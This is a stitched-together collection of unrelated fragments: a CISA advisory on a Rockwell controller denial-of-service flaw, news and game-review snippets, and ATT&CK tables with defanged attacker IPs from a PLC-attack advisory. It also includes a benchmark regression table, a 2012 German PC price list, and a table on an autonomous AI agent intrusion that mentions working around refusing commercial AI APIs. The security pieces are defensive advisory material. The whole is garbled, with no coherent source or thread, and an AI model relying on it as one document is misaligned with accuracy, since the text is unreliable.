Rockwell Automation CompactLogix 5370: <=V35.015, Rockwell Automation Compact GuardLogix 5370: <=V35.015, Rockwell Automation ControlLogix 5570: <=V35.015, Rockwell Automation GuardLogix 5570: <=V35.015, Rockwell Automation CompactLogix 5380: <=V34.012, Rockwell Automation CompactLogix 5380: <=V35.011, Rockwell Automation Compact GuardLogix 5380: <=V34.012, Rockwell Automation Compact GuardLogix 5380: <=V35.011, Rockwell Automation CompactLogix 5480: <=V34.012, Rockwell Automation CompactLogix 5480: <=V35.011, Rockwell Automation ControlLogix 5580: <=V34.012, Rockwell Automation ControlLogix 5580: <=V35.011, Rockwell Automation GuardLogix 5580: <=V34.012, Rockwell Automation GuardLogix 5580: <=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: <=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: <=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: <=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: <=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: <=1.072
Product Status:
known_affected


Remediations
Vendor fix
Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later
Vendor fix
Compact GuardLogix 5370: Update to V35.016, V36.011 and later
Vendor fix
ControlLogix 5570: Update to V35.016, V36.011 and later
Vendor fix
GuardLogix 5570: Update to V35.016, V36.011 and later
Vendor fix
CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later
Vendor fix
Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later
Vendor fix
CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later
Vendor fix
ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later
Vendor fix
GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later
Vendor fix
CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
8.6
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H


4.0
9.2
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H







CVE-2025-11698

A denial-of-service issue exists in 5380/5480/5580 controllers boot firmware lower than version 1.072. This vulnerability could potentially allow a malicious user to write invalid file data to the controller, causing the device to enter a major non-recoverable fault (MNRF).
View CVE Details

Affected Products
Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix

Vendor:
Rockwell Automation
Product Version:
Rockwell Automation CompactLogix 5370: <=V35.015, Rockwell Automation Compact GuardLogix 5370: <=V35.015, Rockwell Automation ControlLogix 5570: <=V35.015, Rockwell Automation GuardLogix 5570: <=V35.015, Rockwell Automation CompactLogix 5380: <=V34.012, Rockwell Automation CompactLogix 5380: <=V35.011, Rockwell Automation Compact GuardLogix 5380: <=V34.012, Rockwell Automation Compact GuardLogix 5380: <=V35.011, Rockwell Automation CompactLogix 5480: <=V34.012, Rockwell Automation CompactLogix 5480: <=V35.011, Rockwell Automation ControlLogix 5580: <=V34.012, Rockwell Automation ControlLogix 5580: <=V35.011, Rockwell Automation GuardLogix 5580: <=V34.012, Rockwell Automation GuardLogix 5580: <=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: <=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: <=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: <=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: <=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: <=1.072
Product Status:
known_affected


Remediations
Vendor fix
Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later
Vendor fix
Compact GuardLogix 5370: Update to V35.016, V36.011 and later
Vendor fix
ControlLogix 5570: Update to V35.016, V36.011 and later
Vendor fix
GuardLogix 5570: Update to V35.016, V36.011 and later
Vendor fix
CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later
Vendor fix
Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later
Vendor fix
CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later
Vendor fix
ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later
Vendor fix
GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later
Vendor fix
CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed
Vendor fix
GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
8.6
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H


4.0
9.2
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H








Acknowledgments

Rockwell Automation reported these vulnerabilities to CISA


Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.
Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.
Locate control system networks and remote devices behind firewalls and isolating them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
CISA also recommends users take the following measures to protect themselves from social engineering attacks:
Do not click web links or open attachments in unsolicited email messages.
Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.
Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.
No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

Initial Release Date: 2026-07-16




Date
Revision
Summary




2026-07-16
1
Initial Publication




Legal Notice and Terms of Use


UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight
Thu, 16 Jul 2026 17:18:19 +0200
The UK has begun direct oversight of systemic cloud services used by financial firms, while banks remain responsible for their own operational resilience, contracts, and recovery planning.
The post UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight appeared first on TechRepublic.


Denshattack! review – time to get on board with kickflipping trains
Thu, 16 Jul 2026 16:17:57 +0200
PC, PS5, Xbox Series X/S, Nintendo Switch 2; Undercoders
Colourful, counter-cultural and captivating – this rail riding game set in a dystopian Japan is as weird as it is exhilarating
Every now and again a game appears with a premise so outrageous you stop in your tracks to take it all in. Denshattack!, a game about kickflipping trains across a dystopian future Japan, is the epitome of this feeling. Set in a post climate disaster world, people have retreated to corporate-owned domed cities to live out their days in air-conditioned, ignorant comfort. Save for a handful of outcasts, the rest of the country is a mess of broken infrastructure, where rival gangs battle it out on the ruins of Japan’s famously extensive rail network. Naive upstart Emi has one goal: become the best Denshattacker there is, one sick nosegrind at a time.
Taking the idea of an on-rails platforming game to its extreme conclusion, developers Undercoders have combined the best bits of the Tony Hawk’s Pro Skater series – grinding, flipping and spinning through an entire dictionary of tricks – with the anti-establishment message behind Jet Set Radio. The rivals Emi encounters showcase the history of Japanese misfits, pitting you against ageing rockabillies and violent girl gangs without a shred of judgment.
 Continue reading...

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Title	Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication	April 7, 2026
Last Update	July 22, 2026
Executive Summary	The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description	This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products	Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions	Install PLCs consistent with manufacturers' guidelines and security best practices. Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action. Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including `44818`, `2222`, `102`, and `502`, especially traffic originating from foreign hosting providers. For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise	For a downloadable copy of July 22, 2026 IOCs, see: AA26-097A STIX XML (July 2026) (29 KB) AA26-097A STIX JSON (July 2026) (30 KB) For a downloadable copy of historical April 7, 2026 IOCs, see: AA26-097A STIX XML (36 KB) AA26-097A STIX JSON (12 KB)
Intended Audience	Organizations: Critical Infrastructure Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]175	September 2025	February 2026
141.11.164[.]153	January 2026	June 2026
175.110.121[.]42	February 2026	March 2026
175.110.121[.]39	February 2026	March 2026
175.110.121[.]41	February 2026	March 2026
175.110.121[.]107	February 2026	February 2026
192.142.54[.]79	May 2026	June 2026
84.200.205[.]165	May 2026	June 2026
185.225.17[.]225	June 2026	July 2026
79.133.46[.]209	July 2026	July 2026
88.80.150[.]199	July 2026	July 2026
88.80.150[.]200	July 2026	July 2026
88.80.150[.]202	July 2026	July 2026

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]162	January 2025	March 2026
185.82.73[.]164	January 2025	March 2026
185.82.73[.]165	January 2025	March 2026
185.82.73[.]167	January 2025	March 2026
185.82.73[.]168	January 2025	March 2026
185.82.73[.]170	January 2025	March 2026
185.82.73[.]171	January 2025	March 2026
135.136.1[.]133	March 2026	March 2026

Technique Title	ID	Use
Commonly Used Port	T0885	The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools	T1219	The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port `22`.

(instructions:u)	mean	range	count
Regressions ❌ (primary)	0.4%	[0.2%, 1.0%]	40
Regressions ❌ (secondary)	0.7%	[0.2%, 4.6%]	69
Improvements ✅ (primary)	-2.0%	[-6.2%, -0.2%]	136
Improvements ✅ (secondary)	-2.6%	[-8.4%, -0.2%]	119
All ❌✅ (primary)	-1.4%	[-6.2%, 1.0%]	176

Komponente	Modell	Preis (Euro) am 31.8.2012
Gehäuse	Casemod auf Basis des Cooler Master Cosmos II	1413
Hauptplatine	Asus Rampage IV Extreme, Intel X79, LGA2011	350
Prozessor	Intel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads	900
CPU-Kühlung	Cooler Master Eisberg 240L Prestige	180
Arbeitsspeicher	8 x 8 GB Adata XPG X Series PC3-17066U	880
Grafikkarte	2 x Asus GTX690-4GD5, Nvidia Geforce GTX 690	2000
Bildschirme	3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD,	1550
SSD (System)	OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0	650
Festplatten (Daten intern)	4 x Western Digital VelociRaptor 1000GB, Raid-5	1000
Festplatten (Daten extern)	2 x Western Digital Caviar Green 3000GB	300
Blu-ray-Brenner	Asus BW-12B1ST, SATA	100
Netzteil	Cooler Master Silent Pro Hybrid 1300W	250
Eingabegerät	Logitech G9x Laser Mouse und G19 Gaming Keyboard	200
Lautsprecher-Set	Logitech Z906, 5.1 System	250
Headset	Logitech G930 Wireless Gaming Headset	150
Betriebssystem	Microsoft Windows 7 Ultimate 64 Bit	160
Multimedia-Paket	Adobe Creative Suite 6 Design & Web Premium	2000
Spiele-Paket	18 Top-Titel	600
Office-Paket	Microsoft Office Professional 2010	400

Date	Revision	Summary
2026-07-14	1	Publication Date
2026-07-21	2	Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory

Control Domain	What Broke	Monday Action
Dataset admission controls	Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.	Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.
Worker-to-node privilege boundaries	Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.	Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.
Credential exposure	Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.	Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.
Machine-speed detection	Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.	Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.
Private AI forensic capacity	Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.	Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.
Autonomous-agent threat modeling	The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.	Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.

CVSS Version	Base Score	Base Severity	Vector String
3.1	8.6	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
4.0	9.2	CRITICAL	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H